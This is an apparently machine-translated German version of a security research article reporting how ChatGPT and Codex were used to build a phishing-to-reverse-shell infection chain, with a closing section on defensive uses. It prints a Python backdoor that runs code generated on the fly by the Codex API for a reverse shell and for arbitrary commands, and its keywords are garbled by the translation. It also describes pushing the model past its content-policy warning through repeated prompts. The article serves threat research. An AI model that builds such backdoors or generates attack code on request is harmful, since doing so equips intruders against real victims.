KI, die den Tag retten oder weghacken kann

Einführung

Aufgrund von ChatGPT, OpenAIs Veröffentlichung der neuen Schnittstelle für sein Large Language Model (LLM), in den letzten Wochen gab es eine Explosion des Interesses an General AI in den Medien und in sozialen Netzwerken. Dieses Modell wird in vielen Anwendungen im gesamten Web verwendet und wurde für seine Fähigkeit gelobt, gut geschriebenen Code zu generieren und den Entwicklungsprozess zu unterstützen. Allerdings birgt diese neue Technologie auch Risiken. Beispielsweise kann das Absenken der Messlatte für die Codegenerierung weniger erfahrenen Bedrohungsakteuren helfen, mühelos Cyberangriffe zu starten. In diesem Artikel demonstriert Check Point Research:

• Wie Modelle der künstlichen Intelligenz (KI) verwendet werden können, um einen vollständigen Infektionsfluss zu erzeugen, von Spear-Phishing bis zum Ausführen einer Reverse-Shell.
• Wie Forscher eine zusätzliche Hintertür erstellt haben, die dynamisch Skripte ausführt, die die KI im laufenden Betrieb generiert.
• Beispiele für die positiven Auswirkungen von OpenAI auf die Seite der Verteidiger und wie es Forschern bei ihrer täglichen Arbeit helfen kann.

Die Welt der Cybersicherheit verändert sich schnell. Es ist wichtig zu betonen, wie wichtig es ist, wachsam zu bleiben, wie diese neue und sich entwickelnde Technologie die Bedrohungslandschaft beeinflussen kann, sowohl im Guten als auch im Schlechten. Während diese neue Technologie Verteidigern hilft, senkt sie auch die erforderliche Eintrittsbarriere für gering qualifizierte Bedrohungsakteure, um Phishing-Kampagnen durchzuführen und Malware zu entwickeln.

Hintergrund

Von der Bildgenerierung bis zum Schreiben von Code haben KI-Modelle in mehreren Bereichen enorme Fortschritte gemacht, mit der berühmten AlphaGo-Software, die 2016 die Top-Profis im Go-Spiel besiegte, bis hin zu verbesserter Spracherkennung und maschineller Übersetzung, die der Welt virtuelle Assistenten wie Siri und brachte Alexa, die in unserem täglichen Leben eine große Rolle spielen.

Kürzlich stieg das öffentliche Interesse an KI aufgrund der Veröffentlichung von ChatGPT, einem Prototyp-Chatbot, dessen „Zweck darin besteht, bei einer Vielzahl von Aufgaben zu helfen und Fragen nach bestem Wissen und Gewissen zu beantworten“. Sofern Sie nicht in den letzten Wochen von den sozialen Medien getrennt waren, haben Sie höchstwahrscheinlich unzählige Bilder von ChatGPT-Interaktionen gesehen, vom Schreiben von Gedichten bis zur Beantwortung von Programmierfragen.

Wie bei jeder Technologie birgt die zunehmende Popularität von ChatGPT jedoch auch ein erhöhtes Risiko. Beispielsweise ist Twitter voll von Beispielen für bösartigen Code oder Dialoge, die von ChatGPT generiert wurden. Obwohl OpenAI enorme Anstrengungen unternommen hat, um den Missbrauch seiner KI zu stoppen, kann es immer noch verwendet werden, um gefährlichen Code zu produzieren.

Um diesen Punkt zu veranschaulichen, haben wir uns entschieden, ChatGPT und eine andere Plattform, den Codex von OpenAI, zu verwenden, ein KI-basiertes System, das natürliche Sprache in Code übersetzt, am leistungsfähigsten in Python, aber kompetent in anderen Sprachen. Wir haben einen vollen Infektionsfluss erzeugt und uns folgende Einschränkung auferlegt: Wir haben keine einzige Zeile Code geschrieben und stattdessen die KIs die ganze Arbeit machen lassen. Wir haben nur die Puzzleteile zusammengesetzt und den daraus resultierenden Angriff ausgeführt.

Wir haben uns entschieden, unseren Standpunkt mit einem einzelnen Ausführungsablauf zu veranschaulichen, einer Phishing-E-Mail mit einer böswilligen Excel-Datei, die mit Makros bewaffnet ist und eine Reverse-Shell herunterlädt (einer der Favoriten unter den Akteuren der Cyberkriminalität).

ChatGPT: Der talentierte Phisher

Im ersten Schritt haben wir eine plausible Phishing-E-Mail erstellt. Dies kann nicht von Codex durchgeführt werden, das nur Code generieren kann, also haben wir ChatGPT um Unterstützung gebeten und vorgeschlagen, sich als Hosting-Unternehmen auszugeben.

Abbildung 1 – Von ChatGPT generierte einfache Phishing-E-Mail

Beachten Sie, dass OpenAI zwar erwähnt, dass dieser Inhalt gegen seine Inhaltsrichtlinie verstoßen könnte, seine Ausgabe jedoch einen guten Anfang bietet. Im weiteren Austausch mit ChatGPT können wir unsere Anforderungen klären: Um das Hosten einer zusätzlichen Phishing-Infrastruktur zu vermeiden, möchten wir, dass das Ziel einfach ein Excel-Dokument herunterlädt. Einfach ChatGPT zu bitten, es noch einmal zu wiederholen, erzeugt eine hervorragende Phishing-E-Mail:

Abbildung 2 – Von ChatGPT generierte Phishing-E-Mail

Der Prozess der Iteration ist essentiell für die Arbeit mit dem Modell, insbesondere für Code. Der nächste Schritt, das Erstellen des schädlichen VBA-Codes im Excel-Dokument, erfordert ebenfalls mehrere Iterationen.

Dies ist die erste Aufforderung:

Abbildung 3 – Einfacher, von ChatGPT generierter VBA-Code

Dieser Code ist sehr naiv und verwendet Bibliotheken wie WinHttpReq. Nach einer kurzen Iteration und Hin- und Her-Chatten erzeugt ChatGPT jedoch einen besseren Code:

Abbildung 4 – Eine andere Version des VBA-Codes

Dies ist immer noch ein sehr einfaches Makro, aber wir haben uns entschieden, hier aufzuhören, da das Verschleiern und Verfeinern von VBA-Code ein nie endender Vorgang sein kann. ChatGPT hat bewiesen, dass es Ihnen bei guten Texteingabeaufforderungen funktionierenden bösartigen Code geben kann.

Codex – eine KI oder der zukünftige Name eines Implantats?

Bewaffnet mit dem Wissen, dass ChatGPT bösartigen Code produzieren kann, waren wir neugierig zu sehen, was Codex, dessen ursprünglicher Zweck darin besteht, natürliche Sprache in Code zu übersetzen, tun kann. Im Folgenden wurde der gesamte Code von Codex geschrieben. Wir demonstrieren absichtlich die grundlegendsten Implementierungen jeder Technik, um die Idee zu veranschaulichen, ohne zu viel bösartigen Code zu teilen.

Wir haben es zuerst gebeten, eine einfache Reverse-Shell für uns zu erstellen, indem wir eine Platzhalter-IP und einen Port verwenden. Die Eingabeaufforderung ist der Kommentar am Anfang des Codeblocks.

Abbildung 5 – Von Codex generierte grundlegende Reverse-Shell

Das ist ein guter Anfang, aber es wäre schön, wenn es einige bösartige Tools gäbe, die wir verwenden könnten, um uns bei unserem Eindringen zu helfen. Vielleicht einige Scan-Tools, wie die Überprüfung, ob ein Dienst für SQL-Injection und Port-Scanning offen ist?

Abbildung 6 – Die einfachste Implementierung von SQLi, generiert von Codex

Abbildung 7 – Einfaches Port-Scanning-Skript

Auch das ist ein guter Anfang, aber wir möchten auch einige Abmilderungen hinzufügen, um das Leben der Verteidiger etwas schwieriger zu machen. Können wir feststellen, ob unser Programm in einer Sandbox läuft? Die grundlegende Antwort von Codex ist unten. Natürlich kann es durch das Hinzufügen anderer Anbieter und zusätzlicher Prüfungen verbessert werden.

Abbildung 8 – Grundlegendes Sandbox-Erkennungsskript

Wir sehen, dass wir Fortschritte machen. All dies ist jedoch eigenständiger Python-Code. Selbst wenn eine KI diesen Code für uns bündelt (was sie kann), können wir nicht sicher sein, dass die infizierte Maschine einen Interpreter hat. Um einen Weg zu finden, es nativ auf jedem Windows-Rechner auszuführen, besteht die einfachste Lösung möglicherweise darin, es in eine EXE-Datei zu kompilieren. Wieder einmal kommen unsere KI-Kumpels für uns durch:

Abbildung 9 – Konvertierung von Python nach exe

Und schon ist der Infektionsstrom komplett. Wir haben eine Phishing-E-Mail mit einem angehängten Excel-Dokument erstellt, das schädlichen VBA-Code enthält, der eine Reverse-Shell auf den Zielcomputer herunterlädt. Die harte Arbeit wurde von den KIs geleistet, und wir müssen nur noch den Angriff ausführen.

Keine Kenntnisse in Scripting? Keine Sorge, Englisch ist gut genug

Wir waren gespannt, wie weit das Kaninchenloch hinuntergeht. Das Erstellen der anfänglichen Skripte und Module ist nett, aber ein echter Cyberangriff erfordert Flexibilität, da sich die Bedürfnisse der Angreifer während eines Eindringens je nach infizierter Umgebung schnell ändern können. Um zu sehen, wie wir die Fähigkeiten der KI nutzen können, um spontan Code zu erstellen, um diesem dynamischen Bedarf gerecht zu werden, haben wir den folgenden kurzen Python-Code erstellt. Nachdem sie zu einem PE kompiliert wurde, führt die exe zunächst die zuvor erwähnte Reverse-Shell aus. Danach wartet es auf Befehle mit der -cmd Flag und führt Python-Skripte aus, die spontan generiert werden, indem die Codex-API abgefragt und eine einfache Eingabeaufforderung in englischer Sprache bereitgestellt wird.

Betriebssystem importieren

System importieren

openai importieren

argparse importieren

Steckdose importieren

winreg importieren

openai.api_key =

parser = argparse.ArgumentParser()

parser.add_argument(‘-cmd’, type=ascii, help=’Eingabeaufforderung, die auf dem infizierten Rechner ausgeführt wird’)

args = parser.parse_args()

def ExecuteReverseShell():

Antwort = openai.Completion.create (

model=”code-davinci-002″,

prompt=“\“\“\“\nUmgekehrtes Shell-Skript auf einem Windows-Rechner ausführen und Verbindung zur IP-Adresse Port herstellen.\n\“\“\““,

Temperatur=0,

max_tokens=1000,

top_p=1,

frequency_penalty=0,

Präsenzstrafe = 0

)

exec(response.choices[0].Text)

def ExecutePrompt (Eingabeaufforderungen):

Antwort = openai.Completion.create (

model=”code-davinci-002″,

prompt=“\“\“\“\n“+prompts+“\n\“\“\““,

Temperatur=0,

max_tokens=1000,

top_p=1,

frequency_penalty=0,

Präsenzstrafe = 0

)

exec(response.choices[0].Text)

if __name__ == ‘__main__’:

if len(sys.argv) == 1:

ExecuteReverseShell()

if args.cmd:

ExecutePrompt(args.cmd)

Nachdem wir nun einige Beispiele für die Ausführung des folgenden Skripts haben, überlassen wir die möglichen Vektoren für die Entwicklung dieser Art von Angriff einem neugierigen Leser:

Abbildung 10 – Ausführung des on the fly generierten Codes basierend auf Eingaben in Englisch

Verwenden von Codex zur Verstärkung von Verteidigern

Bis zu diesem Punkt haben wir die Perspektive des Bedrohungsakteurs anhand von LLMs dargestellt. Um es klar zu sagen, die Technologie selbst ist nicht böswillig und kann von jeder Partei verwendet werden. So wie Angriffsprozesse automatisiert werden können, können Abwehrmaßnahmen auf Seiten der Verteidiger ebenfalls durchgeführt werden.

Um dies zu veranschaulichen, haben wir Codex gebeten, zwei einfache Python-Funktionen zu schreiben: eine, die bei der Suche nach URLs in Dateien mit dem YARA-Paket hilft, und eine andere, die VirusTotal nach der Anzahl der Erkennungen eines bestimmten Hashs abfragt. Obwohl es bessere Open-Source-Implementierungen dieser Skripte gibt, die von der Community der Verteidiger geschrieben wurden, hoffen wir, die Fantasie von Blue Teamern und Bedrohungsjägern anzuregen, die neuen LLMs zur Automatisierung und Verbesserung ihrer Arbeit zu verwenden.

Abbildung 11 – VT-API-Abfrage, um die Anzahl der Erkennungen auf einen Hash zu überprüfen

Abbildung 12 – Yara-Skript, das prüft, welche URL-Strings in einer Datei enthalten sind

Fazit

Die wachsende Rolle von LLM und KI in der Cyberwelt ist voller Chancen, aber auch mit Risiken verbunden. Obwohl sich der in diesem Artikel vorgestellte Code und Infektionsfluss mit einfachen Verfahren abwehren lässt, ist dies nur ein elementares Beispiel für die Auswirkungen der KI-Forschung auf die Cybersicherheit. Es können problemlos mehrere Skripte mit geringfügigen Variationen unter Verwendung unterschiedlicher Formulierungen erstellt werden. Komplizierte Angriffsprozesse können ebenfalls automatisiert werden, indem die LLMs-APIs verwendet werden, um andere bösartige Artefakte zu generieren. Verteidiger und Bedrohungsjäger sollten wachsam und vorsichtig sein, wenn es darum geht, diese Technologie schnell zu übernehmen, sonst wird unsere Community den Angreifern einen Schritt hinterherhinken.